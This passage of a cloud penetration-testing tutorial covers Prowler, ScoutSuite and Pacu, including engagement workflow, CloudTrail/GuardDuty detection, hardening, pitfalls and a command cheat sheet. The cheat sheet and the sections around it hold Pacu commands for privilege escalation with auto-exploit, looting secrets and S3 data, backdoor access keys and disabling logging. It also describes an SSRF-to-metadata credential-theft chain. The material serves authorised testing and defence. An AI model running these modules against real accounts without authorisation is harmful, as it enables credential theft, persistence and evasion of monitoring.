IMDSv2 note (defensive foreshadow): this whole chain assumes IMDSv1’s simple GET. IMDSv2 requires a PUT to obtain a session token first, which a basic SSRF usually cannot perform — enforcing IMDSv2 (HttpTokens=required) is the single highest-leverage fix and is exactly what Prowler’s ec2_imdsv2_enabled check flags. The tools both find the weakness and, in Pacu’s case, exploit it — the same duality as Part 7.
Part 9: Fitting the Three Into a Real Engagement
Section titled “Part 9: Fitting the Three Into a Real Engagement”Tools are only useful inside a method. Here is the workflow a cloud pentest actually follows and where each tool plugs in.
stateDiagram-v2
[*] --> Scoping
Scoping --> Access: RoE + authorised creds
Access --> Posture: read-only sweep
Posture --> Triage: Prowler + ScoutSuite output
Triage --> Exploit: pick exploitable findings
Exploit --> PostExploit: Pacu privesc/lateral/loot
PostExploit --> Evidence: capture proof
Evidence --> Report
Report --> Cleanup: destroy artefacts, revoke keys
Cleanup --> [*]
- Scoping & authorisation. Written RoE, target accounts, allowed regions, provider pentest policy, a “do not touch” list, and an agreement on whether write actions (Pacu) are in scope. Get the write-scope answer in writing — it is the difference between an audit and a pentest.
- Access. The client provisions read-only creds for the scanners and, if exploitation is in scope, a starting low-priv credential (or an agreed initial-access scenario) for Pacu.
- Posture sweep (breadth). Run Prowler (
--compliance cis_2.0_aws, all services, critical/high) and ScoutSuite (full account) read-only. One hour, whole-account map. - Triage. Collapse by root cause, drop intentional exposures, and rank findings by exploitability — which ones chain into real impact.
- Exploit (depth). Take the top exploitable findings into Pacu (or the raw CLI): confirm permissions, run
iam__privesc_scan, assume roles, loot secrets, demonstrate lateral movement — always the minimum needed to prove impact, never gratuitous destruction. - Evidence. Capture Pacu transcripts, retrieved (non-sensitive placeholder) data, screenshots, and the exact API calls, so each claim in the report is reproducible.
- Report. Each finding = weakness + evidence + business impact + remediation, cross-referenced to the CIS/PCI control Prowler mapped it to.
- Cleanup. Destroy anything Pacu created (backdoor keys, test roles, launched instances), remove CloudGoat, and hand the client a list of every write action you took so they can verify the account is clean.
Opsec for the assessor: even authorised testing should minimise noise and blast radius. Prefer read-only recon first; scope Pacu write modules tightly; never run detection__disruption (which tries to disable CloudTrail/GuardDuty) on a real client without explicit, separate approval — disabling a client’s logging, even to demonstrate you can, is a serious action that belongs in a controlled exercise, not a default step.
Part 10: Detection & Defense Angle
Section titled “Part 10: Detection & Defense Angle”Everything above is what the attacker (or authorised assessor) does. This section flips to the defender: how each of these tools looks from inside the account, and how to detect and blunt them. This is the one consolidated defensive section (per the reference-chapter style).
Detecting the scanners (Prowler & ScoutSuite)
Section titled “Detecting the scanners (Prowler & ScoutSuite)”Both scanners are read-only and generate a characteristic burst of Describe*, List*, and Get* calls across dozens of services in a short window from a single identity. That pattern is the signature.
- CloudTrail: look for a single principal issuing hundreds of
List*/Describe*/Get*calls across many services within minutes. Normal automation is usually scoped to a few services; a broad sweep of everything is a scanner (or an attacker enumerating). - User-Agent: Prowler and ScoutSuite send identifiable SDK user-agents (
Boto3/… Botocore/…, sometimes with tool markers). A detection onuserIdentity+ unusualuserAgent+ breadth catches naive runs. (Sophisticated operators can spoof this, so don’t rely on it alone.) - GuardDuty: a full enumeration can trip
Recon:IAMUser/*findings (e.g.Recon:IAMUser/ResourcePermissions,Recon:IAMUser/UserPermissions) — GuardDuty specifically models “an identity is probing what it can do.”
Detecting a read-only auditor is genuinely hard because the calls are, individually, legitimate — the breadth and burst are the tell. Focus the alert on volume + variety from one principal in a short window.
Detecting Pacu (the write tool)
Section titled “Detecting Pacu (the write tool)”Pacu is louder because it changes state and probes permissions aggressively:
iam__enum_permissionsbrute-forces permissions, producing a flurry of calls (many resulting inAccessDenied) — a spike inerrorCode: AccessDeniedfor a single principal is a strong signal, and maps to GuardDutyRecon:IAMUser/UserPermissions.iam__privesc_scan --exploitperforms write actions:SetDefaultPolicyVersion,CreatePolicyVersion,AttachUserPolicy,CreateAccessKey,PassRole+RunInstances. Alert on any of these IAM mutations — they are rare in steady-state and high-value.iam__backdoor_users_keyscallsCreateAccessKeyon an existing user — a classic persistence signature; alert onCreateAccessKeywhere the caller ≠ the target user.- Older Pacu versions carried a distinctive default user-agent; current versions can be configured, so treat user-agent as a weak, supplementary signal.
| Tool | Loudest signal | CloudTrail event(s) | GuardDuty finding |
|---|---|---|---|
| Prowler / ScoutSuite | Broad read burst from one principal | List*, Describe*, Get* across many services | Recon:IAMUser/ResourcePermissions |
| Pacu enum | Spike in AccessDenied | many failed iam:*, ec2:* reads | Recon:IAMUser/UserPermissions |
| Pacu privesc | IAM mutation | SetDefaultPolicyVersion, CreatePolicyVersion, AttachUserPolicy | PrivilegeEscalation:IAMUser/* (via detectors) |
| Pacu persist | New credential on a user | CreateAccessKey, CreateUser, CreateLoginProfile | Persistence:IAMUser/* |
| Pacu evade | Logging disabled | StopLogging, DeleteTrail, UpdateDetector | Stealth:IAMUser/CloudTrailLoggingDisabled |
Hardening — deny the primitives the tools rely on
Section titled “Hardening — deny the primitives the tools rely on”The defence is not “block the tool,” it is “remove the misconfiguration the tool exploits”:
- Least privilege + permission boundaries so a compromised low-priv key has no privesc path for
iam__privesc_scanto find. Delete old privileged policy versions (kills the rollback path). - Deny the dangerous IAM verbs for non-admins via SCP:
iam:SetDefaultPolicyVersion,iam:CreatePolicyVersion,iam:AttachUserPolicy,iam:PutUserPolicy,iam:CreateAccessKeyon other users,iam:PassRolescoped tightly. - Enforce IMDSv2 (
HttpTokens=required) fleet-wide to kill the SSRF→creds chain Pacu leans on. - Turn on and protect logging: multi-region CloudTrail with log-file validation, an organisation trail the member account cannot disable, GuardDuty enabled in every region, AWS Config recording. An org-level trail is what defeats
detection__disruption. - Alert on the mutations in the table above via EventBridge → SNS/SOAR. IAM writes and
CreateAccessKeyare rare enough that alerting on all of them is affordable. - Run Prowler/ScoutSuite yourself, continuously. The best defence against an assessor’s scanner is to have run the same scanner last week and already fixed everything it finds. Prowler in CI against every account, gated on critical/high, closes the gap the attacker would exploit.
The through-line: the scanners the attacker uses against you are the same scanners you should run against yourself. Owning the tooling is defensive as much as offensive.
Part 11: Common Pitfalls
Section titled “Part 11: Common Pitfalls”- Running Pacu write modules on production without written write-scope. The single biggest mistake.
iam__privesc_scan --exploitchanges IAM;detection__disruptiondisables logging. If your RoE didn’t explicitly authorise write actions, stay in enumerate-only mode. - Forgetting to destroy CloudGoat / Pacu artefacts. Left-behind vulnerable infra and backdoor access keys are real liabilities.
cloudgoat destroyand revoke every key Pacu created. - Trusting scanner severity blindly. A “public bucket” HIGH may be an intentional static site. Triage for intent before it goes in the report.
- Running scanners with too-broad credentials. Give Prowler/ScoutSuite
SecurityAudit/ReadOnlyAccess, not admin. A read-only auditor with admin keys is an unnecessary risk if your laptop is compromised mid-engagement. - Ignoring regions. Default scans hit all regions and can be slow/expensive; but restricting regions can miss resources an attacker parked in
ap-south-1. Scope deliberately, and at least once scan all regions for shadow resources. - Confusing “found” with “exploitable.” Prowler finds
iam:*on a role; that is not proof until Pacu (or the CLI) actually uses it. Reports that claim impact without proof get torn apart in read-outs. - Pacu session hygiene. One session per engagement. Mixing two clients’ loot in one session DB is a data-handling incident waiting to happen.
- Leaking client data in loot.
s3__download_bucketpulls real data to your disk. Handle, store, and destroy it per the engagement’s data-handling rules — do not screenshot real PII into a report.
Part 12: Final Revision / Summary
Section titled “Part 12: Final Revision / Summary”- Two motions, three tools. Breadth/posture = Prowler (checks + compliance mapping) and ScoutSuite (inventory dashboard), both read-only. Depth/exploit = Pacu, which writes.
- Order: scanners first for a ranked map in an hour, then Pacu to prove the exploitable findings. Breadth finds the unlocked door; depth walks through it.
- Prowler = CLI, hundreds of checks,
--compliance cis_2.0_aws/pci/hipaa/nist,--services,--severity,--output-formats, multi-cloud (prowler aws|azure|gcp|kubernetes). Output: CSV/JSON/HTML + per-control compliance reports. - ScoutSuite = offline HTML dashboard, resource-centric, rule-set engine you can tune, great for understanding an unfamiliar account.
scout aws --profile … --services … --report-dir …. - Pacu = sessions + modules. Loop:
import_keys→whoami→iam__enum_permissions→iam__privesc_scan [--exploit]→ lateral (sts__assume_role) → loot (secrets__enum,s3__download_bucket) → persist (iam__backdoor_users_keys). Session DB stores loot for reuse. - iam__privesc_scan is the flagship: checks ~20 known AWS privesc methods against the credential’s real permissions and can auto-exploit.
- Detection: scanners = broad read burst + GuardDuty
Recon:*; Pacu =AccessDeniedspike (enum), IAM mutations +CreateAccessKey(privesc/persist),StopLogging/DeleteTrail(evade). Hardening: least privilege + permission boundaries, deny the dangerous IAM verbs via SCP, enforce IMDSv2, org-level CloudTrail + GuardDuty everywhere, alert on IAM writes, and run the scanners against yourself continuously. - Ethics: authorised, scoped, write-scope-in-writing, practise on CloudGoat/flAWS, destroy your artefacts, handle client data carefully.
Part 13: Cheat Sheet / Quick Reference
Section titled “Part 13: Cheat Sheet / Quick Reference”Prowler
prowler aws # full account, all checksprowler aws --profile P -q # only failing checksprowler aws --services s3 iam ec2 # scope to servicesprowler aws --severity critical high # scope to severityprowler aws --compliance cis_2.0_aws # report against CIS 2.0prowler aws --list-compliance # list frameworksprowler aws --list-checks # list all checksprowler aws --region us-east-1 eu-west-1 # limit regionsprowler aws --output-formats csv json html -o ./out/prowler azure --az-cli-auth # Azureprowler gcp # GCP (app-default creds)prowler kubernetes --kubeconfig-file ~/.kube/configScoutSuite
scout aws --profile P # full scan, opens HTMLscout aws --profile P --regions us-east-1,eu-west-1scout aws --services iam s3 --no-browser --report-dir ./scout/scout azure --cli # Azure via az loginscout gcp --user-account # GCPscout aws --ruleset ./custom.json # custom rulesetPacu
pacu # launch; create/select a sessionset_keys / import_keys PROFILE # add a credentialwhoami # current identity + captured datals / search TERM / help MODULE # browse modulesrun iam__enum_permissions # confirm this key's permissionsrun iam__enum_users_roles_policies_groupsrun iam__privesc_scan # find privesc pathsrun iam__privesc_scan --exploit # auto-exploit themrun ec2__enum / run ec2__download_userdatarun secrets__enum # loot Secrets Manager + SSMrun s3__bucket_finder / run s3__download_bucketrun sts__assume_role # lateral movementrun iam__backdoor_users_keys # persistence (create 2nd key)run detection__enum_services # am I being watched?CloudGoat
./cloudgoat.py config profile./cloudgoat.py create SCENARIO # e.g. iam_privesc_by_rollback, ec2_ssrf./cloudgoat.py destroy SCENARIO # ALWAYS tear down./cloudgoat.py destroy allDefender quick hits
Enforce IMDSv2: aws ec2 modify-instance-metadata-options \ --instance-id i-xxx --http-tokens required --http-endpoint enabledOrg CloudTrail: aws cloudtrail create-trail --is-multi-region-trail --is-organization-trailGuardDuty on: aws guardduty create-detector --enableAlert on: SetDefaultPolicyVersion, CreatePolicyVersion, AttachUserPolicy, CreateAccessKey, StopLogging, DeleteTrailSelf-scan: prowler aws --compliance cis_2.0_aws (in CI, gate on critical/high)Part 14: Practice Labs & Resources
Section titled “Part 14: Practice Labs & Resources”Train these exact tools on purpose-built targets — do not practise on anything you don’t own.
- CloudGoat (Rhino Security Labs) — deploy
iam_privesc_by_rollback(the Part 7 lab),ec2_ssrf(the Part 8 chain),iam_privesc_by_key_rotation,cloud_breach_s3, andlambda_privesc. These are the canonical Pacu/CLI privesc ranges. Run Prowler and ScoutSuite against each before exploiting to see the finding first. - flAWS.cloud and flAWS2.cloud (Scott Piper) — hosted, no deploy. flAWS2 has both an attacker and a defender track; the defender track is the best free way to practise reading CloudTrail for exactly the signals in Part 10.
- AWSGoat (INE/ine-labs) — a vulnerable web app on AWS; good for practising the SSRF→IMDS→loot chain end to end with real tooling.
- CloudFoxable — a deliberately vulnerable AWS environment built to practise cloud enumeration tooling; pairs well with Pacu’s enum modules.
- PentesterLab / HackTheBox cloud tracks and TryHackMe “AWS” and “Cloud” rooms — guided intros to Pacu and cloud misconfig exploitation.
- CIS AWS Foundations Benchmark PDF — read it once so you understand what Prowler’s
--compliance cis_2.0_awsis actually checking, control by control. - Rhino Security Labs blog — the original write-ups behind
iam__privesc_scan’s ~20 AWS privilege-escalation methods; read them to understand why each Pacu module works, not just how to run it. - Prowler and ScoutSuite GitHub docs — the authoritative flag references; skim the
--list-checks/ ruleset docs to learn what each tool can and cannot see.
Practice questions:
- You have read-only creds on a new account and 30 minutes before a call. Which tool do you run first and with exactly which flags to hand the client a prioritised, CIS-mapped list? Write the command.
iam__privesc_scanreportsCONFIRMED: CreateNewPolicyVersion. Explain the exact IAM primitive being abused and the CloudTrail event a defender would alert on to catch the--exploitstep.- Prowler flags 34 instances of “security group open to 0.0.0.0/0”. How do you present this as one finding with one remediation rather than 34 rows, and what preventive control stops it recurring?
- You stole temporary role credentials via SSRF (IMDSv1). Which single defender-side change would have broken this chain, and which Prowler check verifies it is in place?
- Design the CloudTrail/GuardDuty detection you’d deploy to catch a Pacu operator moving from
iam__enum_permissionsthroughiam__privesc_scan --exploittoiam__backdoor_users_keys— name the specific events/findings at each stage.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.